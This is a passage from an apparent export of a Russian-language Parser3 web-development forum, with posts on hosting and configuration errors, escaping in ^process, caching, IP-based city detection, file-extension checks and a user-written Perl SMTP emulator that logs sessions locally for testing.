Такая ошибка возникает только для данного сайта.\
Версия парсера 3.1.2 freebsd, проверил для парсера 3.1.1 win32 такой ошибки не возникает."
"28539","Попытка установки Parser на хостинге SpaceWeb приводит к плачевному результату.\
В характеристиках хостинга присутствуют установленные Parser 2 и 3, но настроены они удивительным образом:\
\
установка своего конфигурационного файла auto.p в корень сайта или в cgi-bin директорию приводит к ошибке\
.../cgi-bin/auto.p(0): parser already configured [parser.runtime]\
\
\
Попытка установки parser3.cgi в свою cgi-bin директорию в варианте safe mode (скачал у egoroff.spb.ru) выдаёт ошибку:\
 \
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/public_html/index.html', fuid(3688)!=euid(99) or fgid(600)!=egid(99)  type: parser.runtime\
\
Были опробованы варианты 3.0.8 и 3.1.1\
\
Как решить проблему?"
"28540","перечитайте ваш с ним договор."
"28541","Не могли бы вы подсказать как открыть доступ к данному сайту?\
\
На сервере установлен FreeBSD 4.8"
"28542","что до настройки серверов: off-topic."
"28543","т.е. если я буду открывать другой сайт, к примеру www.site2222.ru, то он откроется...\
[code]\
$han[http://www.site1111.com]\
$f[^f::load[text;$han]]\
нельзя открыть, а сайт\
$han[http://www.site2222.com]\
$f[^f::load[text;$han]]\
можно.\
[/code]\
Проверял! (толька адреса сайтов здесь изменил)"
"28544","не дождался patch'я, приделал сам.\
\
почему?\
потому, что, оказывается, ODBC в таком виде даты отдаёт.\
\
войдёт в 3.1.4"
"28545","1. Конечно можно закрыть доступ к конкретному  сайту, но это офф\
\
2. Попробуйте сделать так\
[code]\
\
$han[http://www.site1111.com]\
$f[^f::load[text;$han;$.timeout(240)]]\
\
[/code]"
"28546","вы посмотрите, какой auto.p вы кладете в корень сайта - все поймете\
и еще chgrp им всем"
"28547","запускается он из под аккаунта SYSTEM, который имеет полный доступ везде. WWWRoot  проверил, вообще все пути проверил, все показывает куда надо... Но ошибка есть..."
"28548","можете ещё попробовать подсмотреть, какие файлы пытаются читаться, воспользовавшись filemon'ом."
"28549","вопросов разрешите чтение-запуск пользователю IUSR_ваш_сервер\
и вы разрешили исполнение \"всем неизвестным расширениям CGI(ISAPI)\" в расширениях веб служб?"
"28550","тескт идет в форму, типографится, потом уже в базу, так ?"
"28551","стоп-стоп-стоп. С этого момента я что-то перестал понимать предмет разговора :)Мы об одних и тех же вещах говорим?\
Веб-сервер Apache, не IIS, соответственно у меня и пользователя-то такого не существует в приниципе.\
Или у меня где-то мощный пробел в понимании всего процесса..."
"28552","очень интересную идею вы подкинули и результат не заставил себя долго ждать. Вот что нарисовал filemon:\
15:55:39	parser3.exe:2764	QUERY INFORMATION	F:\\usr\\local\\Apache\\cgi-bin\\parser3.exe	SUCCESS	FileNameInformation	\
15:55:39	parser3.exe:2764	OPEN	F:\\usr\\local\\apache\\cgi-bin\\	SUCCESS	Options: Open Directory  Access: Traverse	\
15:55:39	parser3.exe:2764	OPEN	F:\\usr\\local\\apache\\cgi-bin\\parser3.exe.Local	FILE NOT FOUND	Options: Open  Access: All	\
15:55:39	parser3.exe:2764	OPEN	F:\\usr\\local\\apache\\cgi-bin\\MSVCR71.dll	FILE NOT FOUND	Options: Open  Access: All	\
15:55:39	parser3.exe:2764	OPEN	F:\\usr\\local\\apache\\cgi-bin\\gc.dll	FILE NOT FOUND	Options: Open  Access: All	\
15:55:39	parser3.exe:2764	OPEN	F:\\usr\\local\\Apache\\cgi-bin\\gc.dll	FILE NOT FOUND	Options: Open  Access: All	\
15:55:39	parser3.exe:2764	CLOSE	F:\\usr\\local\\apache\\cgi-bin\\	SUCCESS		\
\
Вот от сюда видно, что он не смог какие-то 2 dll-ки найтиЖ\
gc.dll и MSVCR71.dll.\
А раньше они ему не нужны что-ли были?"
"28554","can not connect to host \"www.site1111.ru\": Operation timed out (60)"
"28555","а я с этого и начал, еще в первом сообщении написал, что в httpd.conf апача все настроил."
"28556","число в скобках, это номер ошибки, возвращённый OS.\
\
если я правильно понимаю, и в parser один http сервер доступен, а другой нет, то смело адресуйте письмо к вашему провайдеру, «почему так?»."
"28558","MSVCR71.dll нашел у себя в папке $windir\\system32\
а gc.dll вообще находился в папке Documents and Settings\\Administrator\\WINDOWS\
\
И на кой он там, когда нужен здесь? :) Вообщем переписал оба файла в папку к парсеру, он сразу обрадовался и заработал :)\
\
Все-таки за идею с filemon отдельное спасибо, почему-то я не додумался до него :)"
"28559","[b]не[/b] нужно копировать в папку к парсеру."
"28560","Комбат.ру (или как там его сейчас звать?)\
\
Они любили это дело - ICQ.com был в чёрном списке, например. На вопрос \"а почему\" отвечали в духе \"а патамушта админ решил\". Я их послал и перевёл сайты в мастерхост и рбк - теперь не жалуюсь."
"28562","Я положил стандартный auto.p из архива.\
\
Что такое chgrp?\
\
Если вы настроили Parser на SpaceWeb, тогда объясните пожалуйста как это правильно сделать!"
"28564","Искал по форуму куча трэдов да не тех.\
Интересует вот что -> На популярном языке объясните как работает оператор ^cache[]{} \
Непонятно вот что:\
 Он выдает результат работы кода?\
 Т.е. интерпретированную часть парсера хранить в файле кэш?\
 Или как?\
 Т.е. вопрос возник почему, потому что\
 Я закэшировал вот примерно что...\
 ^cache[cachefile](3000){\
  ^use[somefile1]\
  ^use[somefile2]\
  ^use[somefile3]\
  ^use[somefile4]\
  ...\
 }\
\
 Короче таких somefile`s у меня около 50-ти.\
 В итоге смотрою к cachefile - а он весит не более 171 байт.\
 Из этих 171 байт 80% байт #A0 т.е. наглядно видно, что он\
 в этом файле не пути к моим 50-и use хранить, а что он там  \
 хранит? Что в черном ящике?\
 \
 Вопрос второй: Тогда какая схема работы этого кэш?\
 И есть ли смысл кэшировать use? Если получается что пути \
 и файлы все равно читаются каждый раз заново."
"28565","так написано в TFM. читайте её время от времени?"
"28566","Некоему методу @mm требуется передать исполняемый код, как параметр:\
\
Метод такой:\
[code]\
@mm[a]\
something\
^process{a}\
something\
[/code]\
\
передаваемы код такой:\
[code]\
^if(^a.match[\\d+^$]){$z[ok]}\
[/code]\
\
Конструкция по логике должна выглядеть так:\
[code]\
^mm[^^if(^^a.match[\\d+^^$]){^$z[ok]}]\
[/code]\
\
Грабли с match[\\d+^^$]! Нужно на обработку регекспа передать $!\
\
1. Если пишем просто $ - получаем ошибку в исходном коде.\
2. Если пишем ^$ - получаем ошибку при ^process, для которого это тоже просто $.\
\
^^$ - см. п1.\
\
Как быть?\
\
Понятно, что исполняемый код можно выгрузить в файл, потом загрузить в переменную. А как сделать прямо в основном коде?"
"28567","В корне сайта должен лежать авто.п вашего сайта, а не \"из архива\". Этот должен лежать в cgi-bin( в смысле тот,который из архива)"
"28569","ошибка должна появляться через 4 минуты.. а у меня появляется через минуту....\
...\
Провайдеру уже было направлено письмо и вот ответ:\
\"Если у Вас установлен firewall , то все запреты Вы можете посмотреть \
командой ipfw list\
\
На нашем роутере правил относитьтельно этого хоста нет вообще.\""
"28570","Ну да, правильно вместе с кодом (if, match) предается строка $ в рекексп. как ее передать?"
"28572","Так сходите с хостинга телнетом на 80 порт этого сайта."
"28574","как пойти на сайт с хостинга через телнет не знаю..\
если можно расскажите пожалуйста, хотя бы мылом."
"28575","Как передать символ \"$\" в регулярное выражение, которое содержится в коде, являющимся параметром для метода, который выполняет этот код при помощи ^process ?"
"28576","Красным - то, что надо набирать... [enter] - клавиша такая.\
\
your_console$[color=\"red\"]telnet www.site.ru 80[enter][/color]\
Trying xxx.xxx.xxx.xxx...\
Connected to yyy.yyy.ru.\
Escape character is '^]'.\
[color=\"red\"]GET / HTTP/1.1[enter]\
host: www.site.ru[enter]\
[enter][/color]\
\
Дальше смотрите, что отдалось."
"28577","однако вы из пушки по воробьям палите.\
зачем тут process?\
\
нельзя ли \
[code]\
@somewhere[]\
^method[$filter1]\
\
@method[filter]\
^if(^filter[$something])\
\
@filter1[string]\
$result(^string.match[…]\
[/code]"
"28578","есть дока. вам надо передать два спецсимвола: ^ и $. берете и эскейпите каждый из них как этого требует парсер. а то, что эти два символа стоят рядом друг с другом - что с того?"
"28579","Использование SetEnv в .htaccess запрешено.\
\
Как я могу задать путь к конфигурационному файлу auto.p в этом случае?"
"28580","Да. Спасибо. Выручил. правильно.\
Но есть следующий момент:\
\
Вот что нужно передать:\
^if(^mm.Pos.match[\\d+a\\d+a\\d+^$])\
\
Передаем так:\
^^if(^^mm.Pos.match[\\d+a\\d+a\\d+^^^$]\
\
mm - таблица. mm.Pos - тоже все праильно.\
(пробовал написать ^if(^mm.Pos.match[\\d+a\\d+a\\d+^$]) напрямую, в том методе, где это нужно ^process - все ок.)\
\
Получаем ошибку :\
\
is 'junction', it has no elements\
Pos\
\
-body of process-(1)"
"28582","пример с предложением от студии я привел не потому что, как Вы говорите - \"предложения о работе \"околовебных\" специальностей тут не запрещены\", а для того что бы показать Евгению, что подобное сообщение не соответствует написанным им критериям, и тем не менее, его никто удалять не собирается. То что такие сообщения не запрещены, кстати нигде не упоминаеся.\
Что касается того, что \"подрузамевается\". Я прочитал документацию полностью и не один раз, и если бы я понял как решить свою задачу - я бы не писал сюда скорее всего. Относительно правил форума, могу заметить, что их расположение внутри раздела FAQ не есть визабильно. Как правило \"правила форума\" помещают именно в форуме. Лично мне не было ясно где они находятся, хотя признаюсь прежде чем писать сюда - я их искал (отсюда предложение - поместите на них ссылку где нибудь здесь, а не в FAQ... он как правило для другого используется)\
Поиском я тоже воспользовался... и не нашел, верите? Попробуйте сами, если нет.\
Но в общем то самое важное то, что что совета я так и не получил. За что огромное спасибо модераторам."
"28583","Вставищь его в тестареа, а там дофига всякое ерунды типа &nbsp, <nobr>, [b], [i] и т.д.\
Что делать в таком случае"
"28584","Да! Спасибо! Миша написал правильно. Это я тормознул.\
Callback не проще, потому что нужна универсальность.\
\
Теперь проблема следующая:\
Как правильно заескейпить ^if(^mm.Pos.match[\\d+a\\d+a\\d+^$]) ?\
\
^^if(^^mm.Pos.match[\\d+a\\d+a\\d+^^^$]\
\
ошибка:\
is 'junction', it has no elements\
Pos\
\
-body of process-(1)\
\
Таблица mm точно определена, и в ней есть колонка Pos"
"28585","что не смог я найти никакого решения... Писать просто \"мысли\" как то не хочется, потому что опять же пошлют за тупоть оных (а какие они еще с точки зрения так назхываемых \"Guru\"?) в документацию. Я вот так и не понял, как же почитать количество \"/\" в uri. :("
"28586","потому, что там можно написать всё, что угодно.\
и не надо забивать себе и Парсеру голову ерундой.\
\
вы что, думаете, что эти ваши конструкции будут понятны кому-нибудь (да хоть вам самому) через… 1 день от их написания?!\
\
если продолжаете думать, что callback хуже, если не против, давайте рассмотрим конкретную задачу."
"28587","когда понадобится посчитать 2*2 тоже придите в форум, спросите."
"28588","У меня есть метод построения меню @menu[n;param1]\
без param1 он создает просто древовидное раскрывающееся меню.\
param1 мне нужен для того, чтобы внедрять в меню дополнительную функциональность.\
\
Можно конечно делать модификации моего @menu, я так уже 1.5 года делаю но базовое @menu я постоянно совершенствую, а старые, модифицированные остаються неусовершенствованными.\
\
Вот и делаю новое.\
\
Не получается только заэкранировать\
^if(^mm.Pos.match[\\d+a\\d+a\\d+^$]) , когда я передаю это в качастве param1"
"28589","и через неделю вам понятно, что такое\
[code]\
^if($param1==$param566+$param434){…\
[/code]\
\
?"
"28590","ваш параметр, это фильтр?\
назовите его filter, и посмотрите на пример с callback.\
\
\
ваш параметр, это произвольный загадочный кусок кода, который вы скомпилите в загадочный контекст?\
\
если второе, то я не завидую тому, кто будет поддерживать это.\
\
мелочь: process не работает с локальными переменными, у вас будут проблемы и с этим тоже."
"28591","С \"Callback\" все получилось. С локальными переменными проблему поимел, но легко решил (передал их как параметр в callback).\
\
Простите за мою тупорылость, и огромное уважение Пафу и Мише."
"28592","найдет, если Вы положите auto.p РЯДОМ с parser3.cgi в cgi-bin.\
 В корень сайта положите ТОЛЬКО файл test.html из раздела скачать. Не запустится - пишите сюда структуру Вашего домашнего каталога и весь процесс установки по пунктам(в каком режиме заливали на ftp, какие файлы куда положили и т.д.)"
"28593","В моей cgi-bin parser3.cgi нет!\
Если положить auto.p в свой cgi-bin то ничего непроисходит. А происходит когда я кинул auto.p в корень. Вот тогда он и спотыкаеться об auto.p хостера:\
\
[Wed Apr  7 20:56:37 2004] /test.html: parser already configured [parser.runtime]\
\
Использование SetEnv в .htaccess запрешено!\
Поэтому и возникает вопрос как сделать что-бы parser увидел мой auto.p а не хостера!"
"28594","ставьте свою копию парсера и настраивайте его. судя по одному из предыдущих ваших сообщений вам нужен парсер с отключеным safe mode."
"28595","Парсер надо класть не в cgi-bin, чтоб не связываться с alias'ами сервера.\
Создайте в корне директорию \"parser\", разрешите в ней выполнение скриптов, и положите туда парсер-без-групп."
"28596","Если кому надо могу подарить\
дока для парсера 3,1 от 24,07,2003\
Разумется последних фичь там нет, но для начинающих пойдёт, чтоб глаза перед монитором не портить.\
\
Забрать можно в Москве ст. метро улица 1905 года"
"28597","Есть клиент на JavaScript, который нужно научить загружать файлы на сервер. На сервере есть парсерный класс, который разбирает XML-RPC запросы, формируемые JavaScript клиентом. Клиент общается с сервером исключительно по XML-RPC, и очень хочется загружать на сервер файлы (бинарные) тоже без поста формы. \
Вопрос: как можно получить файл из поля формы <intut type=\"file\"/> до отправки формы (может в момент onSubmit ?) и возможен ли такой фокус в принципе ? А ежели возможен - в каком виде будут эти данные, чтобы их можно было из XML извлечь на сервере ? Логика подсказывает, что это base64, но может можно попроще ?\
Сорри за offtop, но серверный-то класс работы с XML-RPC на парсере написан, так что тема близкая :)"
"28598","\"Отправка\" формы и пердполагает передачу данных. onSubmit сделает то же самое, не более того. А вот зачем такой \"фокус\" - я вообще не понимаю, что не подрузить данные обычным-то путём?"
"28599","Прошу прощения за возможный оффтопик. \
Хочу сделать для себя \"базу знаний\" (KnowledgeBase) по Parser'у: собрать разрозненные tips&tricks, модули, статьи, ссылки, полезные мелочи. Нечто вроде MSDN :-)\
\
Не подскажет ли уважаемое сообщество, кто чем пользуется (и пользуется ли) для подобных целей?"
"28600","Добавить своих чарсетов? Переопределить пути к драйверам или MIME-типы?\
Думается, что нет.\
А все остальное спокойно переопределяется в корневом auto.p - просто сотрите @conf[] из вашего auto.p и смело кладите в корень сайта."
"28601","Страница перегружается, что плохо. Потом, нужно одновременно один и тот же файл на два разных сервера положить. Это обычным способом с постом формы вообще не сделать."
"28602","По крайней мере один мой товарищ его использует и хвалит. :)"
"28604","Более того, скажу по секрету, можно даже переопределить $SQL.drivers ;-)\
Что еще?"
"28605","не проще ли?"
"28606","Parser3 test page\
Выдает следующее:\
$SQL: mysql	/var/www/cgi-bin/lib/libparser3mysql.so (69452 байт)	libmysqlclient.so (относительный путь. проверка невозможна)\
$SQL.connect-string: определена\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\
Сообщение об ошибке:\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module /var/www/cgi-bin/lib/libparser3mysql.so \
\
Вот вывод команды ls\
/var/www/cgi-bin/lib/libparser3mysql.so*"
"28607","Укажите полный путь до libmysqlclient.so в конфигурационном auto.p, если парсер не может найти его по умолчанию."
"28608","Есть у кого-нибудь опыть использования Parser'а под веб-сервером Medusa?\
Данный сервер очень расхваливают за высокую производительность и бережное отношение к ресурсам, говорят, что существенно быстрее апача.\
Но Google молчит, и времени не так много, чтобы тратить его на рискованный эксперимент.\
Собственно просьба - если у кого-нибудь есть опыт, или просто ссылки касательно [i]практического[/i] использования/настройки этого сервера - буду очень рад, если вы ими поделитесь."
"28610","Спасибо все заработало Parser3 test page\
Для Mandrake 9.2 необходимо прописать в auto.p\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so.12.0.0"
"28611","http://www.securitylab.ru/tools/44409.html"
"28614","Спасибо за наводку.\
Несомненный плюс: интерфейс через браузер. Можно сделать раздел на сайте.\
Несомненный минус: платный :-(\
По скриншоту судя - продвинутый FAQ. Написать что-ли такой на parser? :-)\
\
Как ваш товарищ его использует (и как раздобыл :-), если это не \"военная тайна\"?"
"28615","Только ее еще нормализовывать надо :)\
http://ip-to-country.webhosting.info/node/view/6"
"28617","#telnet www.site.ru 80\
Trying 111.111.111.111...\
telnet: connect to address 111.111.111.111: Operation timed out\
telnet: Unable to connect to remote host\
#GET / HTTP/1.1\
...\
тут выдается хтмл код наполненный такими ссылками:\
http://redirectf.dnsix.com/zzzcount.php?domain=HTTP.COM\
http://www.searchmachine.com/index-http.html\
...\
# host www.site.ru\
www.site.ru has address 111.111.111.111"
"28618","вот ведь... не, так нельзя... все-таки доки читать... (лирическое отступление)\
\
что ж, действительно с вашего хоста нельзя на этот сайт попасть.\
разбирайтесь с провайдером - пусть он выясняет, с чего это вдруг нет доступа.\
можете до кучи еще и traceroute www.site.ru в консоли сказать, а потом показать все это провайдеру (только никому не показывайте строки после 'Unable to connect to remote host')."
"28620","Есть идеи, как сделать так, чтобы при входе на любую страницу сайта, юзеру присваивался город и в cookie записывался, но если город неправильно, то юзер может выбрать свой город из меню. Теперь проблема: если у юзера отключены куки, то при переходе на другую страницу, ему, что опять, присваивается неправильный город? Подайте идеи (код приветствуется :-), если сталкивались с таким..."
"28621","Ему пишется в сессию :)\
Как сделать - см hashfile + postprocess + немного подумать.\
Не выйдет - вопросы сюда :)"
"28622","Как забрать? Либо сюда, либо в мыло"
"28624","TFM?\
Что значит строку? Т.е. кэширует лишь то что попадает на экран?\
Или что?\
Просто в документации написано что лучше использовать\
^use[]  внутри ^cache\
\
А какой смысл? Если пути он не хранит, которых туча."
"28625","См.сабж."
"28626","Вроде понял. \
\
IF(кука и hashfile не существуют){\
коннектимся к БД, сравниваем IP-ы, присваиваем город, пишем в куку }{\
берем город из hashfile\
} \
\
Возник вопрос: как лучше IP'ы хранить, в MySQL? И каждый раз коннектиться? А не сильно это ресурсоёмко?\
\
И где постпроцесс-то?"
"28627","\"При определении принадлежности ip-адреса к городу следует учесть тот факт, что адресу могут соответствовать несколько подсетей разного размера. Рекомендуется выбирать сеть наименьшего размера.\"\
А как это средствами Парсера сделать?"
"28628","У меня сложилось ощущение (мб, по молодости лет при первичной борьбе за работу Парсера, и если вы его развеете, буду благодарен), что там основная беда из-за кривых путей серверных (document_root, например, там сооовсем в сторону смотрит..)."
"28629","Постоянно получаю такую ошибку: [Thu Apr 08 21:50:20 2004] /_auth_setpwd.html: '^MAIN:pSQL.server{' not found along MAIN:CLASS_PATH [parser.runtime]\
Все файлики с классами сложены в /classes/ $CLASS_PATCH установлена правильно, в auto.p все классы подключены.\
A такой код нормально работает\
[code]<html>\
^MAIN:pSQL.server{\
<head>\
        <title>$page.title</title>\
</head>\
        ^void:sql{INSERT INTO authors (name,reg_date,email) VALUES ('$form:name',NOW(),'$form:email')}\
}\
</html>[/code]\
В чем может быть причина ошибок?\
...и еще ругается он не только на mysql.p но и на другие классы"
"28630","http://localhost/Test/parser3/\
Что, не работает?"
"28631",".. может в разных дирах в разных auto.p два раза CLASS_PATH разный определён, или в одном из классов (например, mysql.p) неправильно путь указан?"
"28632","[code]^if(-f \"/upload/small/${advert.picture}.jpg\"){\
<a href=\"/upload/${advert.picture}.jpg\"><IMG border=\"0\" src=\"/upload/small/${advert.picture}.jpg\" width=150></a>\
}{\
\
	^if(-f \"/upload/small/${advert.picture}.jpeg\"){\
	<a href=\"/upload/${advert.picture}.jpeg\"><IMG border=\"0\" src=\"/upload/small/${advert.picture}.jpeg\" width=150></a>\
	}{\
\
		^if(-f \"/upload/small/${advert.picture}.jpe\"){\
		<a href=\"/upload/${advert.picture}.jpe\"><IMG border=\"0\" src=\"/upload/small/${advert.picture}.jpe\" width=150></a>\
		}{\
\
			^if(-f \"/upload/small/${advert.picture}.gif\"){\
			<a href=\"/upload/${advert.picture}.gif\"><IMG border=\"0\" src=\"/upload/small/${advert.picture}.gif\" width=150></a>\
			}{\
			\
				^if(-f \"/upload/small/${advert.picture}.png\"){\
				<a href=\"/upload/${advert.picture}.png\"><IMG border=\"0\" src=\"/upload/small/${advert.picture}.png\" width=150></a>\
				}\
			}		\
		}\
	}\
}\
[/code]"
"28633","Проблема в том, что некоторый код работает, т.е. находит нужный класс, а другой код уже не может найти этот же класс. А $CLASS_PATCH нормально определен в /cgi-bin/auto.p"
"28634","Попробуй использовать вместо ^if ^switch, выбирая расширение файла, которое получаешь так ^file:justext[/upload/small/picture.png]"
"28635","пишите в базу расширение, а еще лучше имя файла, и будет вам счасте.\
А вообще можно или использовать ^if(-f \"...\" || -f \"...\"){...}\
но это тот же хрен только в другой упаковке."
"28636","Если необходим такой подход, то я бы сделал так. Возможно неоптимально, но..\
\
Создайем таблицу с расширениями extensions.cfg\
\
[code]\
$extensions[^table::load[extensions.cfg]\
^extensions.menu{\
 ^if(-f \"/upload/small/${advert.picture}.$extensions.text\"){\
  $exist_extension[$extensions.text]\
  $flag[1] \
 }\
}\
^if(def $flag){\
 <a href=/upload/${advert.picture}.$exist_extension>\
  <img border=0 src=/upload/small/${advert.picture}.$exist_extension width=150></a>\
}\
[/code]\
\
Вроде так. Может где в синтаксисе ошибся. \
Когда появится новое расширение, добавляете его в таблицу."
"28637","Конечно лучше в SQL. :)\
Если выключены куки Postprocess нужен, чтобы приводить внутренние урлы к виду http://your_site.ru/page.html?session=BA39BAB6340BE370"
"28638","У Вас в двух сообщениях написано \"$CLASS_PATCH\", может всё-таки \"$CLASS_PATH\"?"
"28639","Извиняюсь за ошибку, но в auto.p все правильно $CLASS_PATH; Тем болле что некоторый код работает, т.е. находит нужные классы"
"28641","Неделя настроек и переписки с администратором дала нулевой результат!\
\
При равных условиях и задачах на Арбатек запустил за 1 минуту 23 секунды!\
\
С чем себя и поздравляю!"
"28642","[code]\
$img[^file:list[/upload/small/;${advert.picture}\\.(jpg|jpeg|jpe|gif|png)^$]]\
^if(def $img){\
    <a href=\"/upload/$img.name\"><img border=\"0\" src=\"/upload/small/$img.name\" width=150></a>\
}\
[/code]"
"28644","В ^IF (жпег || гиф || пнг) -то я проверю, а вот как я выведу с нужным расширением?\
В базу не представляется возможным, я имя файла (которое Random генерится) еще для других целей использую..."
"28648","Как вы знаете, в состав Денвера входит эмулятор sendmail, от которого нет проку - Парсер под Win32 умеет пользоваться только SMTP. Если хочется проверить mail:send на локальной машине, приходится ставить какой-либо smtp-сервер, что неудобно.\
\
Дело было вечером, делать было нечего, и я накатал эмулятор SMTP-сервера на Perl. Часть кода позаимствована из модуля NET::SMTP::Server. Инструкция по использованию - вывалить в папку три файла, запустить perl.exe emulator.pl и смотреть результат в smtp_log.txt\
\
Можете использовать Денверный wrapper (такой как apacherun.exe) - создайте какой-нибудь smtp.exe, чтобы запускать эмулятор в виде иконки в трее (чтобы лишнее DOS-style окошко не загораживало экран).\
\
Файл [b]emulator.pl[/b][code]# Эмулятор работы SMTP-сервера - ничего не отправляет, но аккуратно\
# журналирует все переговоры с клиентами.\
# \
# Copyright (c) 2004 Alexander Bougakov, http://www.bougakov.com/go/cityblog/\
\
unshift @INC, './';\
\
use Carp;\
use smtpserver;\
use smtpclient;\
\
# Сообщения больше этого размера (в байтах) не будут приниматься эмулятором\
# (клиент получит ошибку 552 по RfC 821):\
my $limit   = 9900000;\
\
# Куда подцепляется эмулятор (хост, порт):\
my $host    = \"localhost\";\
my $port    = 25;\
\
# Логфайл:\
my $log     = \"SMTP_log.txt\";\
\
# Логфайл пишется по принципу \"открыть файл, записать строку, закрыть файл,\
# повторить для каждой следующей строки\" - работает медленнее, чем могло бы\
# быть, зато в случае падения сервера или клиента будет видно, на каком месте\
# проблема случилась.\
\
# Старый логфайл, если есть на диске, затирается. Если в одном сеансе работы\
# эмулятора отправляется нескольких писем, все сессии фиксируются в логе \
# (а не только самая последняя)\
\
#################################################################\
\
print \"SMTP server emulator is now working on \\\"\" . $host .\":\" . $port .\"\\\"\\n\";\
print \"Conversations with clients will be logged to \\\"\" . $log .\"\\\" file\\n\";\
print \"(overwrites older one, if present). Hit Ctrl+C to close this.\\n\";\
print \"___________________________________________________________________\\n\\n\";\
\
# Удаляем прежний логфайл:\
unlink $log;\
\
# Цепляемся к указанным локальным хосту и порту:\
my $server = new smtpserver($host => $port) || croak(\"Unable to launch or bind server: $!\\n\");\
while($conn = $server->accept()) {\
    fork and last;\
    $conn->close;\
};\
\
# Ждём подключений:\
\
my $count = '';\
\
my $client = new smtpclient($conn, $log) || croak(\"Unable to start interface: $!\\n\");\
\
$client->greet;\
\
while($client->get_message){\
    if (length($client->{MSG}) > $limit){\
        $client->too_long;\
    } else {\
        $count++;\
        $client->okay(\"Message accepted\");\
        $client->closelog;\
    }\
}[/code]\
Файл [b]smtpserver.pm[/b][code]package smtpserver;\
\
require 5.001;\
\
use strict;\
use vars qw(@ISA @EXPORT);\
\
require Exporter;\
require AutoLoader;\
use Carp;\
use IO::Socket;\
use Sys::Hostname;\
\
@ISA = qw(Exporter AutoLoader);\
@EXPORT = qw();\
\
sub new {\
    my $this = shift;\
 \
    my $class = ref($this) || $this;\
    my $self = {};\
\
    $self->{HOST} = shift;\
    $self->{PORT} = shift;\
 \
    bless($self, $class);\
 \
    $self->{HOST} = hostname unless defined($self->{HOST});\
    $self->{PORT} = 25 unless defined($self->{PORT});\
\
    $self->{SOCK} = IO::Socket::INET->new(Proto => 'tcp',\
                      LocalAddr => $self->{HOST},\
                      LocalPort => $self->{PORT},\
                      Listen    => SOMAXCONN,\
                      Reuse     => 1);\
 \
    return defined($self->{SOCK}) ? $self : undef;\
}\
\
sub accept {\
    my $self = shift;\
    my $client;\
 \
    if($client = $self->{SOCK}->accept()) {\
    $self->{SOCK}->autoflush(1);\
    return $client;\
    }\
 \
    return undef;\
}\
\
sub DESTROY {\
    shift->{SOCK}->close;\
}\
\
1;[/code]\
Файл [b]smtpclient.pm[/b][code]package smtpclient;\
\
use strict;\
use vars qw($LOGF);\
use Carp;\
use IO::Socket;\
\
# Значение по умолчанию:\
my $LOGF = \"SMTP_log.txt\";\
\
my %_cmds = (\
    DATA => \\&_data,\
    EXPN => \\&_noway,\
    HELO => \\&_hello,\
    HELP => \\&_help,\
    MAIL => \\&_mail,\
    NOOP => \\&_noop,\
    QUIT => \\&_quit,\
    RCPT => \\&_receipt,\
    RSET => \\&_reset,\
    VRFY => \\&_noway\
);\
\
sub _reset0 {\
    my $self = shift;\
    $self->{FROM} = undef;\
    $self->{TO} = [];\
    $self->{MSG} = undef;\
    $self->{faults} = 0;\
}\
\
 \
sub _reset {\
    my $self = shift;\
    $self->_reset0;\
    $self->_put(\"250 Mail transaction aborted\");\
}\
\
sub new {\
    my($this, $sock, $log) = @_;\
 \
    my $class = ref($this) || $this;\
    my $self = {};\
 \
    $LOGF = $log;\
 \
    bless($self, $class);\
    $self->_reset0;\
    $self->{SOCK} = $sock;\
\
    croak(\"No client connection specified.\") unless defined($self->{SOCK});\
\
    open(LOG, \">>$LOGF\");\
    print LOG \"### Эмулятор SMTP-сервера ### \" . scalar(localtime) . \" ###\\n\\n\";\
    close(LOG);\
    return $self;\
}\
\
sub greet {\
    $_[0]->_put(\"220 SMTP Emulator ready.\");\
}\
\
sub basta{\
    my $self = shift;\
    $self -> _put(\"421 closing transmission channel\");\
        $self->{SOCK}->close;\
    1;\
}\
\
sub get_message {\
    my $self = shift;\
    my($cmd, @args);\
 \
    my $sock = $self->{SOCK};\
    $self->_reset0;\
 \
    while(<$sock>) {\
\
    chomp;\
\
#   print \"$_\";\
    open(LOG, \">>$LOGF\");\
    print LOG $_ , \"\";\
    close(LOG);\
 \
    $$self{faults} > 15 and $self->basta and last;\
\
    s/^\\s+//;\
    s/\\s+$//;\
    unless(length $_){\
        ++$$self{faults};\
        $self->greet;\
        next;\
    };\
    ($cmd, @args) = split(/\\s+/);\
 \
    $cmd =~ tr/a-z/A-Z/;\
 \
    if(!defined($_cmds{$cmd})) {\
        sleep ++$$self{faults};\
        $self->_put(\"500 Server doesn't know how to $cmd\");\
       next;\
    };\
    &{$_cmds{$cmd}}($self, \\@args) or\
        return(defined($self->{MSG}));\
    }\
\
    return undef;\
}\
\
sub find_addresses {\
    return map { /([^<|;]+\\@[^>|;&,\\s]+)/ ? $1 : () } @_;\
};\
\
sub okay {\
    my $self = shift;\
    $self -> _put(\"250 OK @_\");\
}\
\
sub fail {\
    my $self = shift;\
    $self -> _put(\"554 @_\");\
}\
\
sub too_long {\
    $_[0] -> _put(\"552 Requested mail action aborted: exceeded storage allocation\");\
};\
\
sub _mail {\
    my $self = $_[0];\
    my @who = find_addresses(@{$_[1]});\
    my $who = shift @who;\
    if ($who){\
    $self->{FROM} = $who;\
    return $self->okay(\"Envelope sender set to <$who> \")\
    }else{\
    $self->{faults}++;\
    return $self-> _put(\"501 could not find name\\@postoffice in <@{$_[1]}>\")\
    };\
}\
\
sub rcpt_syntax{\
    $_[0] -> _put(\"553 no user\\@host addresses found in <@{$_[1]}>\");\
}\
\
sub _receipt {\
    my $self = $_[0];\
    my @recipients = find_addresses(@{$_[1]});\
    @recipients or return $self->rcpt_syntax($_[1]);\
    push @{ $self->{TO} }, @recipients;\
    $self->okay(\"sending to @{$self->{TO}}\");\
}\
\
sub _put {\
    print {shift->{SOCK}} @_, \"\\r\\n\";\
    print \"### \", @_, \"\\n\";\
    open(LOG, \">>$LOGF\");\
    print LOG \"\", @_ , \"\\n\";\
    close(LOG);\
}\
\
sub _data {\
    my $self = shift;\
 \
    my @msg;\
 \
    if(!$self->{FROM}) {\
    $self-> _put(\"503 start with 'mail from: ...'\");\
    $self->{faults}++;\
    return 1;\
    }\
 \
    if(!@{$self->{TO}}) {\
    $self->_put(\"503 specify recipients with 'rcpt to: ...'\");\
    $self->{faults}++;\
    return 1;\
    }\
\
    $self->_put(\"354 Start mail input, end with crlf-dot-crlf\");\
\
